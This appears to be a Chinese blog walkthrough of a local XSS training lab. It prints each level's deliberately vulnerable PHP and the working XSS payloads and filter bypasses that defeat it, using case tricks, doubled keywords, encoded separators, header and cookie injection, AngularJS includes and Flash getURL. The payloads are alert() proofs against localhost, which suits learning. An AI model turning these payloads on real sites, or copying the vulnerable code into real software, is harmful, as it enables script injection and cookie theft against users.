前言
XSS平台小游戏,是一款不错的XSS靶场,可供学习和深入认识XSS。
环境搭建
本游戏使用了Google Chrome浏览器,火狐浏览器(带hackbar插件)。
使用chrome浏览器测试时,chrome默认开启了filter_xss_auditor,需要禁用掉,才能显示xss利用后的效果。可以做如下设置:
windows下,右键桌面或者启动菜单中的Google Chrome快捷键,然后在目标选项,chrome.exe后面加上参数:
–args –disable-xss-auditor
之后重启浏览器,并用管理员身份运行。
源码下载:xss小游戏靶场
提取码:84cm
PS:源码中已将一处被墙的js文件本地化。
网站环境:PHPStudy
level1
code:
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
payload:
<script>alert(1);</script>level2
code:
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
payload | 
闭合后的代码 | 
|---|---|
"><script>alert(1);</script> | 
<input name=keyword value=""><script>alert(1);</script>"> | 
"onclick="window.alert() | 
<input name=keyword value=""onclick="window.alert()"> | 
"><a href="javascript:alert(1)">xss</a> | 
<input name=keyword value=""><a href="javascript:alert(1)">xss</a>"> | 
"><img src=1 onerror="alert(1)" | 
<input name=keyword value=""><img src=1 onerror="alert(1)""> | 
"><svg/onload=alert(1)> | 
<input name=keyword value=""><svg/onload=alert(1)>"> | 
level3
code:
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
对输入进行了htmlspecialchars处理,查阅知htmlspecialchars()函数把以下预定义的字符转换为 HTML实体:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >但是htmlspecialchars默认配置是不过滤单引号的,只有设置了quotestyle时才过滤。
payload | 
闭合后的代码 | 
|---|---|
'onclick=alert(1)// | 
<input name=keyword  value=''onclick=alert(1)//'> | 
'onclick='window.alert() | 
<input name=keyword  value=''onclick='window.alert()'> | 
'onmouseover='alert(1) | 
<input name=keyword  value=''onmouseover='alert(1)'> | 
'onmouseover=alert(1)// | 
<input name=keyword  value=''onmouseover=alert(1)//'> | 
level4
code:
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
防护代码中只将<``>号去掉了。
payload | 
闭合后的代码 | 
|---|---|
"onclick=alert(1)// | 
<input name=keyword  value=""onclick=alert(1)//"> | 
"onclick="alert(1) | 
<input name=keyword  value=""onclick="alert(1)"> | 
"onclick="alert(1) | 
<input name=keyword  value=""onclick="alert(1)""> | 
"onclick='alert(1)' | 
<input name=keyword  value=""onclick='alert(1)'"> | 
"onclick=window.alert()// | 
<input name=keyword  value=""onclick=window.alert()//"> | 
"onclick="window.alert() | 
<input name=keyword  value=""onclick="window.alert()"> | 
"onclick="window.alert()" | 
<input name=keyword  value=""onclick="window.alert()""> | 
"onclick='window.alert()' | 
<input name=keyword  value=""onclick='window.alert()'"> | 
"onmouseover=alert(1)// | 
<input name=keyword  value=""onmouseover=alert(1)//"> | 
"onmouseover="alert(1) | 
<input name=keyword  value=""onmouseover="alert(1)"> | 
"onmouseover="alert(1)" | 
<input name=keyword  value=""onmouseover="alert(1)""> | 
"onmouseover='alert(1)' | 
<input name=keyword  value=""onmouseover='alert(1)'"> | 
level5
code:
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
做了简单的xss防护处理,用<scr_ipt代替<script,用o_n代替on。
payload:
"><a href=javascript:alert("xss")>xss</a>//闭合后的代码:
<input name=keyword  value=""><a href=javascript:alert("xss")>xss</a>//">level6
code:
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
代码防护处理了<script> on src data href等字符,但是没有进行小写转换,因此可以使用大小写绕过。
payload | 
闭合后的代码 | 
|---|---|
><ScriPt>alert("xss")</script> | 
<input name=keyword value=""><ScriPt>alert("xss")</script>"> | 
"><img Src=x OnError=alert(1)> // | 
<input name=keyword  value=""><img Src=x OnError=alert(1)> //"> | 
"><object dAtA="javascript:alert(1)"></object> | 
<input name=keyword value=""><object dAtA="javascript:alert(1)"></object>"> | 
"><a HreF='javascript:alert(1)'>xss</a>// | 
<input name=keyword value=""><a HreF='javascript:alert(1)'>xss</a>//"> | 
level7
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
将传入的值进行强制小写转换,然后将script on src data href等字符替换为空。绕过方式如下:
payload | 
闭合后的代码 | 
|---|---|
"><scriscriptpt>alert("xss")</scriscriptpt>// | 
<input name=keyword value=""><script>alert("xss")</script>//"> | 
"oonnclick="alert(1)"// | 
<input name=keyword  value=""onclick="alert(1)"//"> | 
"><img srSrcc=x oOnnError=alert(1)>// | 
<input name=keyword  value=""><img src=x onerror=alert(1)>//"> | 
"><object dadAtAta="javascriscriptpt:alert(1)"></object> | 
<input name=keyword  value=""><object data="javascript:alert(1)"></object>"> | 
"><a hrHreFef='javascriscriptpt:alert(1)'>xss</a>// | 
<input name=keyword  value=""><a href='javascript:alert(1)'>xss</a>//"> | 
level8
code:
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
对$str变量严格控制过滤,但是对$str7存在绕过的可能性:使用javscript伪协议,并进行适当的的编码。
payload:
javascript:alert(1)javascript:alert(1)与之对应的原语句为:
javascript:alert(1)level9
code:
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
使用strpos()函数检查了GET方式传入的值是否含有http://,在$str7的位置依旧存在绕过的可能性。
payload1:
javascript:alert('http://')原语句:
javascript:alert('http://')payload2:
javascript:alert(1)/*http://www.baidu.com*/ 原语句:
javascript:alert(1)/*http://www.baidu.com*/level10
http://localhost/XSS/level10.php?keyword=well%20done!<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
发现只能从$str33处进行触发,因此传入t_sort值,用type="text"覆盖掉hidden
payload1:
http://localhost/XSS/level10.php?keyword=well%20done!&t_sort="onclick=alert(1) type="text"闭合后的代码:
<input name="t_sort" value=""onclick=alert(1) type="text"" type="hidden">payload2:
http://localhost/xss/level10.php?keyword=well done!&t_sort=" accesskey="X" onclick="alert(1)"//然后使用ALT+shift+X触发弹窗
闭合后的代码:
<input name="t_sort" value="" accesskey="X" onclick="alert(1)"//" type="hidden">level11
http://localhost/xss/level11.php?keyword=good%20job!code:
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
依旧在$str3处可进行绕过,发现传入的是HTTP_REFERER值,并过滤掉了<``>,因此可用on语句来绕过,可以抓包添加http文件头Referer值:
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick=alert(1) type=text//此处我使用了hackbar插件:

闭合后的代码为:
<input name="t_ref" value="" onclick=alert(1) type=text//" type="hidden">level12
code:
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
抓包修改User-Agent值
User-Agent: " onmouseover=alert(1) type="text"
User-Agent: " onclick=alert(1) type=text//
闭合后的代码为:
<input name="t_ua" value="" onclick=alert(1) type=text//" type="hidden">level13
code:
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
依旧是在$str33处触发,寻找到是通过cookie中传入user值。
因此修改cookie值:
Cookie:user= " onmouseover=alert(1) type="text"
Cookie:user= " onclick=alert(1) type=text//
闭合后的代码为:
<input name="t_cook" value="" onclick=alert(1) type=text//" type="hidden">level14
code:
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
….level14崩了,我们看一下大佬的payload:
"><img src=1 onerror=alert(1)>百度得出答案,这里用的是乌云爆出的exif viewer的漏洞,原理是通过修改图片的exif信息,
造成解析图片exif触发XSS。利用工具推荐exiftool。
level15
http://localhost/xss/level15.php?src=1.gifcode:
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
使用了AngularJS ng-include指令,ng-include指令用于包含外部的HTML文件。包含的内容将作为指定元素的子节点。默认情况下,包含的文件需要包含在同一个域名下。
因此可以调用第一关的level1.php。直接在包含的页面里用<script>触发不了,可以用img标签。htmlspecialchars默认不过滤单引号,因此构造的payload如下:
payload:
http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'level16
http://localhost/xss/level16.php?keyword=testcode:
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace("    "," ",$str4);
echo "<center>".$str5."</center>";
?>
将script 空格 /处理为转义字符 。
一种思路:使用%0d %0a做分割符,构造payload:
http://localhost/xss/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>
http://localhost/xss/level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert(1)></iframe>
http://localhost/xss/level16.php?keyword=<svg%0aonload=alert(1)></svg>另一种思路:
根据浏览器对编码解析的顺序:
URL解析->HTML解析->CSS解析->JS解析
构造payload:
http://localhost/xss/level16.php?keyword=<a%0ahref=javasc%26%23%78%37%32%3Bipt:alert(1)>a先发生url解析,产生闭合后的代码:
<center><a
href=javascript:alert(1)>a</center>再进行html解析,最后JS解析,触发xss
level17
http://localhost/xss/level17.php?arg01=a&arg02=bcode:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
过滤了尖括号和双引号,用on事件触发,payload如下:
http://localhost/xss/level17.php?arg01=a&arg02=b onmouseover=alert(1)
http://localhost/xss/level17.php?arg01=a&arg02=b onmousedown=alert(1)(谷歌浏览器测试成功)
level18
http://localhost/xss/level18.php?arg01=a&arg02=bcode:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
过滤了尖括号和双引号,用on事件触发,payload如下:
http://localhost/xss/level18.php?arg01=a&arg02=b onmouseover=alert(1)
http://localhost/xss/level18.php?arg01=a&arg02=b onmouseout=alert(1)(谷歌浏览器测试成功)
level19
http://localhost/xss/level19.php?arg01=a&arg02=bcode:
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
这一关开始是flash xss了,首先下载页面中的flash,对源码进行分析,本次使用了JPEXS这款工具。发现是actionscript 2.0,首先定位getURL函数:
...
sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));再追踪到sIFR的内容,省略了一些代码,关键代码如下:
...
if(_loc5_ && _root.version != sIFR.VERSION)
{
_loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,故定位以下函数:
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
}所以构造最终payload如下:
http://localhost/xss/level19.php?arg01=version&arg02=<a href="javascript:alert(document.domain)">xss</a>(谷歌浏览器测试成功)
level20
http://localhost/xss/level20.php?arg01=a&arg02=bcode:
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
payload:
http://localhost/xss/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height(谷歌浏览器测试成功)
level19 level20参考网上的,留着供研究参考。
(彩蛋)十秒过关
F12到web调试控制台,每关输入alert(1)。像我这样单身的手速,十秒即可过掉全部关卡~
原理在于:只要出现警告对话框,就会触发定义的js函数,提示进入下一关。大家应该都明白的。
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章